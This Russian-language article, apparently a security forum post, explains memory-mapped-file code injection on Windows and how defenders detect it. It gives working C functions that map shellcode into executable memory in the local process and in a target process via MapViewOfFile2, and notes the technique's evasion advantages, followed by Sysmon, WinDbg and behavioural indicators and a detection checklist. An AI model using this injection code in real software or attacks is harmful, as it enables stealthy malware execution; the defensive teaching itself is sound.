Отображаемая память в Windows: mapped memory, инъекции и артефакты для анализа

Что такое mapped memory и зачем он нужен атакующему​


Отображаемая память (memory-mapped file) — механизм Windows, который проецирует содержимое файла или анонимного раздела в виртуальное адресное пространство процесса. Изначально он предназначен для работы с большими файлами и межпроцессного взаимодействия (IPC), но атакующие используют его как альтернативу классическим VirtualAllocEx + WriteProcessMemory при инъекции кода.

Преимущество для атакующего: не вызываются VirtualAllocEx и WriteProcessMemory — две функции, на которые настроено большинство правил детектирования. Вместо них используется цепочка CreateFileMappingMapViewOfFileMapViewOfFile2, которая выглядит менее подозрительно для статических сигнатур.

Два типа отображаемых файлов​


ТипПривязка к дискуВремя жизниТипичное применение
ПерсистентныйДа, связан с файлом на дискеДанные сохраняются после закрытия последнего дескриптораРабота с большими файлами
Неперсистентный (анонимный)НетДанные теряются при закрытии последнего дескриптораIPC, инъекции

Для инъекций используется именно анонимный вариант: CreateFileMapping вызывается с INVALID_HANDLE_VALUE вместо дескриптора реального файла. Раздел существует только в памяти и не оставляет артефактов на диске.

Механика локальной инъекции​


Локальная инъекция проецирует полезную нагрузку в адресное пространство собственного процесса. Последовательность:

  1. CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, payloadSize, NULL) — создаёт анонимный раздел с правами на исполнение.
  2. MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, payloadSize) — проецирует раздел в текущий процесс.
  3. memcpy копирует шеллкод в полученный адрес.

C:
#include <windows.h>
#include <stdio.h>

BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    BOOL    bSTATE       = TRUE;
    HANDLE  hFile        = NULL;
    PVOID   pMapAddress  = NULL;

    hFile = CreateFileMappingW(
        INVALID_HANDLE_VALUE,
        NULL,
        PAGE_EXECUTE_READWRITE,
        0,
        (DWORD)sPayloadSize,
        NULL
    );
    if (hFile == NULL) {
        printf("[!] CreateFileMapping failed: %lu\n", GetLastError());
        bSTATE = FALSE;
        goto _End;
    }

    pMapAddress = MapViewOfFile(
        hFile,
        FILE_MAP_WRITE | FILE_MAP_EXECUTE,
        0, 0,
        sPayloadSize
    );
    if (pMapAddress == NULL) {
        printf("[!] MapViewOfFile failed: %lu\n", GetLastError());
        bSTATE = FALSE;
        goto _End;
    }

    memcpy(pMapAddress, pPayload, sPayloadSize);

_End:
    *ppAddress = pMapAddress;
    if (hFile) CloseHandle(hFile);
    return bSTATE;
}

После CloseHandle(hFile) раздел продолжает существовать, пока на него есть хотя бы одно активное представление (MapViewOfFile). Это важно для понимания времени жизни артефактов.

Механика удалённой инъекции через MapViewOfFile2​


Удалённая инъекция добавляет один шаг: проекцию того же раздела в адресное пространство целевого процесса. Ключевая функция — MapViewOfFile2, которая принимает дескриптор целевого процесса и проецирует раздел напрямую в его адресное пространство.

C:
PVOID MapViewOfFile2(
    HANDLE  FileMappingHandle,
    HANDLE  ProcessHandle,
    ULONG64 Offset,
    PVOID   BaseAddress,
    SIZE_T  ViewSize,
    ULONG   AllocationType,
    ULONG   PageProtection
);

Параметр ProcessHandle требует маски доступа PROCESS_VM_OPERATION. PageProtection задаёт защиту страниц в целевом процессе — для исполнения шеллкода обычно PAGE_EXECUTE_READWRITE.

Полная цепочка удалённой инъекции:

  1. CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, size, NULL) — анонимный раздел.
  2. MapViewOfFile(hFile, FILE_MAP_WRITE, 0, 0, size) — локальная проекция для записи.
  3. memcpy — копирование полезной нагрузки.
  4. MapViewOfFile2(hFile, hTargetProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READWRITE) — проекция в целевой процесс.
  5. Запуск исполнения: CreateRemoteThread, APC-очередь или перезапись точки входа.

C:
BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload,
                     IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    BOOL   bSTATE            = TRUE;
    HANDLE hFile             = NULL;
    PVOID  pMapLocalAddress  = NULL;
    PVOID  pMapRemoteAddress = NULL;

    hFile = CreateFileMappingW(
        INVALID_HANDLE_VALUE, NULL,
        PAGE_EXECUTE_READWRITE,
        0, (DWORD)sPayloadSize, NULL
    );
    if (hFile == NULL) {
        bSTATE = FALSE;
        goto _End;
    }

    pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, 0, 0, sPayloadSize);
    if (pMapLocalAddress == NULL) {
        bSTATE = FALSE;
        goto _End;
    }

    memcpy(pMapLocalAddress, pPayload, sPayloadSize);

    pMapRemoteAddress = MapViewOfFile2(
        hFile, hProcess,
        0, NULL, 0, 0,
        PAGE_EXECUTE_READWRITE
    );
    if (pMapRemoteAddress == NULL) {
        bSTATE = FALSE;
        goto _End;
    }

_End:
    *ppAddress = pMapRemoteAddress;
    if (hFile) CloseHandle(hFile);
    return bSTATE;
}

Почему это сложнее детектировать​


Классическая инъекция через VirtualAllocEx + WriteProcessMemory детектируется по нескольким признакам: вызов VirtualAllocEx с PAGE_EXECUTE_READWRITE из внешнего процесса, последовательная запись WriteProcessMemory, создание удалённого потока. Mapped memory injection ломает эту цепочку:

  • Нет вызова VirtualAllocEx в целевом процессе — память выделяет менеджер секций ядра.
  • Нет WriteProcessMemory — данные попадают в целевой процесс через общий раздел.
  • MapViewOfFile2 вызывается из атакующего процесса, а не из целевого, что меняет картину в логах.

Артефакты для защитника​


Несмотря на отсутствие «классических» индикаторов, mapped memory injection оставляет собственные следы.

Sysmon и события доступа к процессам​


СобытиеЧто фиксируетНа что смотреть
Sysmon Event 10 (ProcessAccess)Открытие дескриптора целевого процессаGrantedAccess содержит PROCESS_VM_OPERATION
Sysmon Event 8 (CreateRemoteThread)Создание потока в удалённом процессеStartAddress указывает на регион без привязки к модулю

Анализ памяти процесса​


Регионы, созданные через MapViewOfFile2, имеют тип MEM_MAPPED (а не MEM_PRIVATE, как при VirtualAllocEx). Это видно через VirtualQueryEx или !address в WinDbg:

Код:
!address <адрес>

Usage:                  <unclassified>
Base Address:           0x000001a2b3c40000
End Address:            0x000001a2b3c50000
Region Size:            0x0000000000010000
State:                  0x1000 MEM_COMMIT
Protect:                0x40 PAGE_EXECUTE_READWRITE
Type:                   0x40000 MEM_MAPPED

Ключевой индикатор: MEM_MAPPED + PAGE_EXECUTE_READWRITE в регионе, который не привязан к известному файлу на диске. Легитимные mapped-регионы обычно имеют PAGE_READONLY или PAGE_READWRITE и связаны с DLL, EXE или файлами данных.

Поведенческие признаки​


  • Процесс открывает другой процесс с PROCESS_VM_OPERATION, но не вызывает WriteProcessMemory.
  • В целевом процессе появляется исполняемый регион типа MEM_MAPPED без backing file.
  • Новый поток стартует с адреса внутри MEM_MAPPED региона.
  • Раздел создан с INVALID_HANDLE_VALUE (анонимный) и имеет размер, кратный размеру страницы, но не соответствует ни одному загруженному модулю.

Ограничения и нюансы техники​


  • MapViewOfFile2 — относительно новая функция. На системах, где она недоступна, атакующему приходится использовать NtMapViewOfSection напрямую через syscall или через ntdll.
  • Защита PAGE_EXECUTE_READWRITE на всём регионе — грубый индикатор. Более продвинутые реализации используют PAGE_EXECUTE_READ и разделяют запись/исполнение по разным представлениям одного раздела.
  • Дескриптор раздела (hFile) должен оставаться валидным на момент вызова MapViewOfFile2. После проекции в целевой процесс раздел привязан к обоим процессам, и его время жизни определяется последним закрытым представлением.

Сравнение с другими техниками инъекции​


ТехникаВыделение памятиЗаписьИсполнениеТип региона
VirtualAllocEx + WriteProcessMemoryVirtualAllocExWriteProcessMemoryCreateRemoteThreadMEM_PRIVATE
Mapped memory (MapViewOfFile2)CreateFileMappingmemcpy в локальное представлениеCreateRemoteThread / APCMEM_MAPPED
Process HollowingН/Д (процесс создаётся suspended)NtUnmapViewOfSection + NtWriteVirtualMemoryNtResumeThreadMEM_IMAGE
APC InjectionЗависит от реализацииЗависит от реализацииNtQueueApcThreadЗависит от реализации

Подробнее о механизмах APC-инъекции и их артефактах — в APC Injection в Windows: механизм выполнения и признаки, которые может увидеть защитник. Общий обзор техник процессной инъекции и подходов к детектированию — в Process Injection в Windows: механизм на уровне концепции и артефакты для детектирования.

Практический чек-лист для защитника​


  1. Мониторить ProcessAccess события с маской PROCESS_VM_OPERATION без последующего WriteProcessMemory.
  2. Сканировать память процессов на регионы MEM_MAPPED + PAGE_EXECUTE_READWRITE без backing file.
  3. Отслеживать создание потоков с StartAddress, попадающим в MEM_MAPPED регион.
  4. Проверять, что CreateFileMapping вызывается с INVALID_HANDLE_VALUE и PAGE_EXECUTE_READWRITE — это аномальная комбинация для легитимного ПО.
  5. Коррелировать события: если процесс A создал раздел, а процесс B получил его проекцию с правами исполнения — это повод для алерта.
  6. При анализе дампа памяти обращать внимание на регионы MEM_MAPPED без привязки к файлу — это потенциальный индикатор инъекции через отображаемую память.

Источники​


 

Похожие темы

Назад
Верх Низ